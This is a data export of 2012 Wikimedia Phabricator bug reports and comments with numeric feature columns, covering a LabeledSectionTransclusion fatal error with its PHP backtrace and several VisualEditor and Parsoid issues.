regressions.",,,1354028484,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.545454545454546,1.0,I added tests in URL which should catch future regressions.
194165,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"It helps when I actually read the error message, hence the first folic.

Said method can return null, though whether it will for your use case... So it shouldn't do any harm at least",,,1354015514,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,12.0,10.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,10.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,12.0,10.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,3.75,0.925,"It helps when I actually read the error message, hence the first folic.

Said method can return null, though whether it will for your use case... So it shouldn't do any harm at least"
194161,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"Thanks for fixing this, Sam (also for the wfProfileOuts).

Apparently this was not caught by a parser test, so I'll create some tests for #REDIRECT behavior.

I'll also check whether the ""if ( $target )"" is redundant or not. In any case, it shouldn't do any harm keeping it there.",,,1354001228,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,4.0,0.0,0.0,1.0,4.0,1.0,1.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,0.0,3.0,0.0,10.0,12.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,1.0,1.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,12.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,3.0,10.0,4.0,1.0,12.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,6.0,12.0,4.0,0.0,3.0,0.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,3.426470588235294,0.7205882352941176,"Thanks for fixing this, Sam (also for the wfProfileOuts).

Apparently this was not caught by a parser test, so I'll create some tests for #REDIRECT behavior.

I'll also check whether the ""if ( $target )"" is redundant or not. In any case, it shouldn't do any harm keeping it there."
194157,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),https://gerrit.wikimedia.org/r/#/c/35327/,,,1353972830,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
194150,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"Basic fix in https://gerrit.wikimedia.org/r/#/c/35316/

Not sure if further work also needed",,,1353970599,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,"Basic fix in URL

Not sure if further work also needed"
194143,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"http://p.defau.lt/?hOOnMmL6voQcgnoX4_1Gpw

[26-Nov-2012 22:14:15] Fatal error: Call to undefined method Title::getRedirectTarget() at /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php on line 305
Server: mw11
URL: http://[unknown-host]
Backtrace:
#0 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(305): LabeledSectionTransclusion->getWikiPageDom()
#1 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(367): LabeledSectionTransclusion::getWikiPageDom(Object(Title), Array)
#2 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(438): LabeledSectionTransclusion::setupPfunc12(Object(Parser), Object(PPTemplateFrame_DOM), Array, 'lst')
#3 [internal function]: LabeledSectionTransclusion::pfuncIncludeObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#4 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array(Array, Array)
#5 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#6 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3452): PPFrame_DOM->expand(Object(PPNode_DOM))
#7 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#8 /usr/local/apache/common-local/php-1.21wmf5/extensions/ParserFunctions/ParserFunctions_body.php(400): PPFrame_DOM->expand(Object(PPNode_DOM))
#9 [internal function]: ExtParserFunctions::ifexistObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#10 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array('ExtParserFuncti...', Array)
#11 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#12 /usr/local/apache/common-local/php-1.21wmf5/extensions/ParserFunctions/ParserFunctions_body.php(400): PPFrame_DOM->expand(Object(PPNode_DOM))
#13 [internal function]: ExtParserFunctions::ifexistObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#14 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array('ExtParserFuncti...', Array)
#15 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#16 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3452): PPFrame_DOM->expand(Object(PPNode_DOM))
#17 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPFrame_DOM))
#18 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3073): PPFrame_DOM->expand(Object(PPNode_DOM), 0)
#19 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(1157): Parser->replaceVariables('The Wikimedia F...')
#20 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(385): Parser->internalParse('The Wikimedia F...')
#21 [internal function]: Parser->parse('The Wikimedia F...', Object(Title), Object(ParserOptions), true, true, NULL)
#22 /usr/local/apache/common-local/php-1.21wmf5/includes/StubObject.php(79): call_user_func_array(Array, Array)
#23 /usr/local/apache/common-local/php-1.21wmf5/includes/StubObject.php(99): StubObject->_call('parse', Array)
#24 /usr/local/apache/common-local/php-1.21wmf5/includes/content/WikitextContent.php(290): StubObject->__call('parse', Array)
#25 /usr/local/apache/common-local/php-1.21wmf5/includes/content/WikitextContent.php(290): StubObject->parse('The Wikimedia F...', Object(Title), Object(ParserOptions), true, true, NULL)
#26 /usr/local/apache/common-local/php-1.21wmf5/includes/content/AbstractContent.php(234): WikitextContent->getParserOutput(Object(Title), NULL, NULL, false)
#27 /usr/local/apache/common-local/php-1.21wmf5/includes/job/jobs/RefreshLinksJob.php(81): AbstractContent->getSecondaryDataUpdates(Object(Title), NULL, false)
#28 /usr/local/apache/common-local/php-1.21wmf5/includes/job/jobs/RefreshLinksJob.php(193): RefreshLinksJob::runForTitleInternal(Object(Title), Object(Revision), 'RefreshLinksJob...')
#29 /usr/local/apache/common-local/php-1.21wmf5/maintenance/runJobs.php(83): RefreshLinksJob2->run()
#30 /usr/local/apache/common-local/php-1.21wmf5/maintenance/doMaintenance.php(110): RunJobs->execute()
#31 /usr/local/apache/common-local/php-1.21wmf5/maintenance/runJobs.php(116): require_once('/usr/local/apac...')
#32 /usr/local/apache/common-local/multiversion/MWScript.php(68): require_once('/usr/local/apac...')
#33 {main}",,,1353970120,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,11.555555555555555,0.0,0.0,0.0,0.0,0.0,1.5555555555555556,0.0,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.7777777777777777,0.0,0.0,0.0,0.0,0.0,10.88888888888889,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.555555555555555,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,0.1111111111111111,0.0,8.666666666666666,0.0,0.0,0.3333333333333333,9.555555555555555,0.0,1.5555555555555556,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.6666666666666666,5.084444444444444,0.35,"URL

[26-Nov-2012 22:14:15] Fatal error: Call to undefined method Title::getRedirectTarget() at /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php on line 305
Server: mw11
URL: URL
Backtrace:
#0 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(305): LabeledSectionTransclusion->getWikiPageDom()
#1 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(367): LabeledSectionTransclusion::getWikiPageDom(Object(Title), Array)
#2 /usr/local/apache/common-local/php-1.21wmf5/extensions/LabeledSectionTransclusion/lst.php(438): LabeledSectionTransclusion::setupPfunc12(Object(Parser), Object(PPTemplateFrame_DOM), Array, 'lst')
#3 [internal function]: LabeledSectionTransclusion::pfuncIncludeObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#4 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array(Array, Array)
#5 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#6 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3452): PPFrame_DOM->expand(Object(PPNode_DOM))
#7 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#8 /usr/local/apache/common-local/php-1.21wmf5/extensions/ParserFunctions/ParserFunctions_body.php(400): PPFrame_DOM->expand(Object(PPNode_DOM))
#9 [internal function]: ExtParserFunctions::ifexistObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#10 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array('ExtParserFuncti...', Array)
#11 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#12 /usr/local/apache/common-local/php-1.21wmf5/extensions/ParserFunctions/ParserFunctions_body.php(400): PPFrame_DOM->expand(Object(PPNode_DOM))
#13 [internal function]: ExtParserFunctions::ifexistObj(Object(Parser), Object(PPTemplateFrame_DOM), Array)
#14 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3286): call_user_func_array('ExtParserFuncti...', Array)
#15 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPTemplateFrame_DOM))
#16 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3452): PPFrame_DOM->expand(Object(PPNode_DOM))
#17 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Preprocessor_DOM.php(1084): Parser->braceSubstitution(Array, Object(PPFrame_DOM))
#18 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(3073): PPFrame_DOM->expand(Object(PPNode_DOM), 0)
#19 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(1157): Parser->replaceVariables('The Wikimedia F...')
#20 /usr/local/apache/common-local/php-1.21wmf5/includes/parser/Parser.php(385): Parser->internalParse('The Wikimedia F...')
#21 [internal function]: Parser->parse('The Wikimedia F...', Object(Title), Object(ParserOptions), true, true, NULL)
#22 /usr/local/apache/common-local/php-1.21wmf5/includes/StubObject.php(79): call_user_func_array(Array, Array)
#23 /usr/local/apache/common-local/php-1.21wmf5/includes/StubObject.php(99): StubObject->_call('parse', Array)
#24 /usr/local/apache/common-local/php-1.21wmf5/includes/content/WikitextContent.php(290): StubObject->__call('parse', Array)
#25 /usr/local/apache/common-local/php-1.21wmf5/includes/content/WikitextContent.php(290): StubObject->parse('The Wikimedia F...', Object(Title), Object(ParserOptions), true, true, NULL)
#26 /usr/local/apache/common-local/php-1.21wmf5/includes/content/AbstractContent.php(234): WikitextContent->getParserOutput(Object(Title), NULL, NULL, false)
#27 /usr/local/apache/common-local/php-1.21wmf5/includes/job/jobs/RefreshLinksJob.php(81): AbstractContent->getSecondaryDataUpdates(Object(Title), NULL, false)
#28 /usr/local/apache/common-local/php-1.21wmf5/includes/job/jobs/RefreshLinksJob.php(193): RefreshLinksJob::runForTitleInternal(Object(Title), Object(Revision), 'RefreshLinksJob...')
#29 /usr/local/apache/common-local/php-1.21wmf5/maintenance/runJobs.php(83): RefreshLinksJob2->run()
#30 /usr/local/apache/common-local/php-1.21wmf5/maintenance/doMaintenance.php(110): RunJobs->execute()
#31 /usr/local/apache/common-local/php-1.21wmf5/maintenance/runJobs.php(116): require_once('/usr/local/apac...')
#32 /usr/local/apache/common-local/multiversion/MWScript.php(68): require_once('/usr/local/apac...')
#33 {main}"
194137,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),Caused by https://gerrit.wikimedia.org/r/#/c/31330/,,,1353969954,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,False,,,-31,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,1.0,Caused by URL
194130,LabeledSectionTransclusion: Fatal error:  Call to undefined method Title::getRedirectTarget(),"Seems to be causing:

* Fatal error where directly on page: https://www.mediawiki.org/w/index.php?title=VisualEditor/Feedback&oldid=597441
* Blank section where transcluded via a Template: https://www.mediawiki.org/w/index.php?title=VisualEditor&oldid=598709",,,1353969228,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yjkqv35zcxvtirgx56ds,task_subcomment,,True,c1,0,True,,,-31,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,23.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,4.0,0.0,0.0,0.0,3.8076923076923075,0.8076923076923077,"Seems to be causing:

* Fatal error where directly on page: URL
* Blank section where transcluded via a Template: URL"
44335,VisualEditor: Temporarily add IE to blacklist for December release as CE support is currently insufficient,"

--------------------------
**Version**: unspecified
**Severity**: blocker",Needs Triage,90.0,1353529620,1353530010.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-drb6zxeswawnaqold54q,task_description,resolved,True,c1,0,True,False,True,-32,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.5,"

--------------------------
**Version**: unspecified
**Severity**: blocker"
186736,VisualEditor: Temporarily add IE to blacklist for December release as CE support is currently insufficient,https://gerrit.wikimedia.org/r/#/c/34584/,,,1353530010,,PHID-USER-fovtl67ew4l4cc3oeypc,True,,,PHID-TASK-drb6zxeswawnaqold54q,task_subcomment,,True,c1,0,False,,,-32,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
44123,VisualEditor: i18n for alien tooltip,"The tooltip on aliens (""Sorry, you can't edit this with the Visual Editor"" or whatever) should be i18ned.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1352940180,1353114667.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-qyxlhx72vvvsjxiz5mxk,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,14.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,5.0,5.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7209302325581395,0.7674418604651163,"The tooltip on aliens (""Sorry, you can't edit this with the Visual Editor"" or whatever) should be i18ned.

--------------------------
**Version**: unspecified
**Severity**: normal"
199634,VisualEditor: i18n for alien tooltip,Fixed in gerrit 33851,,,1353113705,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qyxlhx72vvvsjxiz5mxk,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,1.0,Fixed in gerrit 33851
199628,VisualEditor: i18n for alien tooltip,"Also it's VisualEditor not ""Visual Editor"". :-)",,,1352940362,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qyxlhx72vvvsjxiz5mxk,task_subcomment,,True,c1,0,True,,,-33,,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.727272727272727,0.9090909090909091,"Also it's VisualEditor not ""Visual Editor"". :-)"
44120,VisualEditor: Change markers don't propagate when generated paragraphs are unwrapped,"When editing the text of a list item, a change marker is set on the paragraph, but that paragraph has .internal.generated=='wrapper', so it's unwrapped by the data->DOM converter. This unwrapping step destroys the change marker; instead, it should be merged into the list item.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1352938800,1353108588.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,,False,PHID-TASK-gcvicv5c5il3dfwvq4z6,task_description,resolved,True,c1,0,False,False,True,-33,,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,3.0,6.0,1.0,1.0,13.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,1.0,0.0,3.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,4.309859154929577,0.6619718309859155,"When editing the text of a list item, a change marker is set on the paragraph, but that paragraph has .internal.generated=='wrapper', so it's unwrapped by the data->DOM converter. This unwrapping step destroys the change marker; instead, it should be merged into the list item.

--------------------------
**Version**: unspecified
**Severity**: normal"
199486,VisualEditor: Change markers don't propagate when generated paragraphs are unwrapped,"

*** This bug has been marked as a duplicate of bug 41947 ***",,,1353108588,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-gcvicv5c5il3dfwvq4z6,task_subcomment,,True,c1,0,False,,,-33,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 41947 ***"
44111,[Regression] Parsoid now wrongly santising wikitext of tables,"See https://www.mediawiki.org/w/index.php?title=VisualEditor:Templates&diff=605499&oldid=605498 - previously this was edited without incident, but now we've switched from the 19 August build to the 12 November one, it's now changing the wikitext of this table.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1352931660,1352932611.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-btqaquo52pvsfg5ytjrc,task_description,resolved,True,c1,0,True,False,True,-33,,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,2.0,11.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,4.0,7.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.962962962962963,0.7407407407407407,"See URL - previously this was edited without incident, but now we've switched from the 19 August build to the 12 November one, it's now changing the wikitext of this table.

--------------------------
**Version**: unspecified
**Severity**: normal"
